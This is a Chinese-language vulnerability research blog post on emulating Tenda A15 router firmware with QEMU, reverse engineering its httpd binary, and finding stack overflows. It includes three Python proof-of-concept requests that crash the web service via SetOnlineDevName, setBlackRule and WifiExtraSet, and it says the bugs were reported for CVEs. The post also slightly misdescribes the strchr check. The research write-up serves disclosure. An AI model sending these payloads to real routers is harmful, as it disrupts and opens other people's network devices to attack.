Tenda A15 固件模拟与漏洞挖掘

栈溢出Tenda
2025-02-10 21:39
14968

前言

几个星期前,初来训练营,初学AC15的漏洞挖掘。前几天偶然发现AC15有新的漏洞CVE-2025-0566,打算看看。发现该漏洞属于A15设备,并非AC15,那就顺水推舟分析下A15固件安全吧。

固件模拟

固件地址:https://www.tendacn.com/download/detail-3187.html

固件解压

下载后,使用binwalk解压

image.png

查看固件架构

使用file命令,得知是MIPS LSB 32位架构

image 1.png

checksec

image 2.png

未开启CanaryPIE

固件信息收集

使用firmwalker 进行固件信息收集

~/Desktop/Apps/firmwalker_pro main*
❯ ./firmwalker.sh ~/Desktop/Firmwares/a15/squashfs-root > ~/Desktop/Firmwares/a15/firm
walker_scan.txt

image 3.png

发现 web 服务是httpd程序

启动项分析

image 4.png

查看/etc_ro/init.d/rcS文件进行启动项分析,可知启动项进行了拷贝文件夹。

我们也跟着手动创建一遍,可以避免后面程序模拟启动,文件夹为空的问题。

用户模拟

我们开始先尝试qemu用户模拟

 ~/Desktop/Firmwares/a15/squashfs-root
❯ cp $(which qemu-mipsel-static) qemu-mipsel-static

~/Desktop/Firmwares/a15/squashfs-root
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd

image 5.png

发现能成功启动,但ip配置错误,这里我们就要使用ida进行分析了

逆向分析httpd

查找赋值ip的位置

image 6.png

image 7.png

向上查找,查看sockaddr.sin_addr 被赋值的地方

image 8.png

得知是函数参数进行赋值的

x查看该函数的交叉引用,

image 9.png

继续交叉引用查找

image 10.png

发现是br0IP 赋值给了程序的ip,所以我们这里得知ip地址是br0网卡的ip,于是我们开始创建br0网卡

创建br0

sudo brctl addbr br0
sudo ifconfig br0 192.168.0.1

image 11.png

成功创建

再次启动

做完上面这些之后,我们还要把固件包中webroot_ro文件夹的内容复制到webroot里面,不然网页端会提示page not found,这点我们可以由前面启动项分析得出。

~/Desktop/Firmwares/a15/squashfs-root/lib
❯ sudo chroot . ./qemu-mipsel-static ./bin/httpd

image 12.png

image 13.png

成功启动并访问。

系统模拟

前面尝试了用户模拟,接下来,我们来进行mipsel系统模拟

主机网卡配置脚本

注意:先把主机网卡配置好,再启动qemu-system-mipsel脚本

#!/bin/bash

# 创建名为 tap0 的虚拟网络接口
sudo tunctl -t tap0

# 配置 tap0 接口的 IP 地址和子网掩码
sudo ifconfig tap0 192.168.0.4/24 up

# 启用 IP 转发
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/null

# 配置 NAT (假设物理机外网接口是 ens33)
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE

# 允许 tap0 接口的数据包转发
sudo iptables -A FORWARD -i tap0 -j ACCEPT
sudo iptables -A FORWARD -o tap0 -j ACCEPT

echo "tap0 接口创建和配置完成。"

~/Desktop/Firmwares/qume_system
❯ ./net.sh
[sudo] password for kali:
Set 'tap0' persistent and owned by uid 0
tap0 接口创建和配置完成。

qemu-system-mipsel启动脚本

#!/bin/sh
qemu-system-mipsel \
-M malta \
-kernel /home/kali/Desktop/Apps/qemu-images/mipsel/vmlinux-2.6.32-5-4kc-malta \
-hda /home/kali/Desktop/Apps/qemu-images/mipsel/debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0"  \
-nographic \
-net nic -net tap,ifname=tap0,script=no,downscript=no
~/Desktop/Firmwares/qume_system
❯ sudo ./mipsel.sh

mips虚拟机

ip link add br0 type dummy
ifconfig eth0 192.168.0.5/24
ifconfig br0 192.168.0.6/24

image 14.png

传输文件

image 15.png

将文件进行传输,解压文件后,启动即可

chroot . sh
./bin/httpd

image 16.png

同样成功模拟。

ssh连接

启用ssh

sudo service ssh start
sudo service ssh status

image 17.png

直接ssh连接下,发现无法连接

image 18.png

查看openssl版本,发现是虚拟机ssh版本太老

解决方案:加上-oHostKeyAlgorithms=+ssh-rsa

~/Desktop/Firmwares/qume_system
❯ ssh -oHostKeyAlgorithms=+ssh-rsa root@192.168.0.5

image 19.png

成功ssh登录

逆向分析与漏洞挖掘

image 20.png

找到定义所有函数的地方,方便我们我们测试这些函数

image 21.png

我们要重点关注set 类型的函数,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险。

分析处理SetOnlineDevName 请求的formSetDeviceName 函数

我们先来查看formSetDeviceName 函数,它用于处理SetOnlineDevName 请求

image 22.png

由图可见,该函数是一个用于设置设备名称的,处理两个请求的参数macdevName,然后使用set_device_name 方法进行处理,进去set_device_name 查看具体处理逻辑。

image 23.png

我们注意到,两个参数被传给了sprintf ,而sprintf由于未使用格式化字符,且两个参数都未限制长度和校验,因此存在栈溢出和格式化字符串漏洞

下面我们进行poc的编写

import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/SetOnlineDevName'
payload = {
    "mac": '9c:fc:e8:da:9c:5b'*0x100,
    "devName": 'devname1'
}
res = requests.post(url=url, data=payload)
print(res.content)

image 24.png

执行脚本后发现,程序并未崩溃,同时打印出了set device name error! 这与我们预期的不一致,打开ida,进行逆向分析

IDA patch

image 25.png

箭头处,就是问题所在,这个外部函数是进行写入nvram 设备的操作,而我们是qemu用户模拟所以导致这个函数调用会失败,导致判断if 进入打印报错。

这里我们直接进行patch,改变控制逻辑。

image 26.png

bnez (Branch if Not Equal to Zero) 是 MIPS 架构中的 条件分支指令,它的作用是:

如果寄存器的值不等于 0,则跳转到指定的标签(目标地址)。

这里我们直接patchnop

在汇编语言中,nop 指令表示 "No Operation",即 空操作。执行这条指令时,处理器什么都不做,单纯消耗一个时钟周期。

image 27.png

然后保存patch结果即可

再次执行脚本

再次执行前面的脚本后,程序崩溃,证明存在该漏洞,攻击者任选macdevName 参数即可进行攻击

image 28.png

分析处理setBlackRule请求的formAddMacfilterRule函数

接下来查看处理setBlackRule请求的formAddMacfilterRule函数

image 29.png

这个函数的主要功能是用于处理添加MAC地址过滤规则。

看到箭头处rule 接收的是deviceList 参数,然后给parse_macfilter_rule 进行处理。

我们跟进函数分析。

image 30.png

发现我们传入的deviceList 最终会作为source_rule拷贝给了dest_rule->name ,这个就是经典的strcpy 栈溢出漏洞,经过查看,前面也并未限制长度,只进行了\r 是否包含的校验,如下图

image 31.png

rule_tmp = strchr(source_rule, 13);

上述代码判断source_rule 是否包含\r ,如包含返回1,不包含返回0,因此我们要让代码执行到strcpy 处,必须要在我们的脚本参数中添加\n

我们开始编写poc

import requests
ip = '192.168.4.1'
url = f'http://{ip}/goform/setBlackRule'

payload = {
    'deviceList': 'a' * 0x100+ '\r' 
}

r = requests.post(url=url, data=payload)

print(r.content)

image 32.png

执行脚本后,程序成功崩溃

分析处理WifiExtraSet 请求的fromSetWirelessRepeat 函数

image 33.png

接下来我们分析处理WifiExtraSet 请求的fromSetWirelessRepeat 函数

image 34.png

ssida <- "originSsid5g"
ssid_encodea <- "encode5g"
securitya <- "security5g"
wpapsk_typea <- "wpapsk_type5g"
wpapsk_cryptoa <- "wpapsk_crypto5g"
wpapsk_keya <- "wpapsk_key5g"

这些参数都是我们前端post请求中需要携带的参数

然后sprintf打印出来后,交由if 中的set_repeat5 这个函数进行处理

我们进入这个函数,查看处理的代码

image 35.png

这个函数set_repeat5的主要功能是配置5GHz无线网络的参数。

虽然调用了一堆strcpy 函数,但我们真正关心上面方框位置处。

wpapsk_crypto 由我们前端发送的wpapsk_crypto5g 赋值,而它的值会拷贝给wpapsk_cryptovalue ,之前并未进行安全检查,所以我们可以利用该点作为栈溢出漏洞。

POC

下面我们来进行poc的编写,

import requests

ip = '192.168.4.1'
url = f'http://{ip}/goform/WifiExtraSet'

payload = {
    'configured5g': 'true',
    'originSsid5g': '1234',
    'encode5g': '1234',
    'security5g': 'wpapsk',
    'wpapsk_type5g': 'wpa2',
    'wpapsk_crypto5g': 'a'* 0x12,
    'wpapsk_key5g': '1234567890'
}

res = requests.post(url=url, data=payload)

print(res)

设置WifiExtraSet 的其他参数正常填写,然后将wpapsk_crypto5g 参数用较长的字符数来填充实现缓冲区溢出。

image 36.png

执行我们的脚本,最终程序崩溃,漏洞点存在。

CVE申请

上述漏洞经过历史查找,并未找到对应申报情况,于是我们将发现的这个漏洞上报给CVE。

image 37.png

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们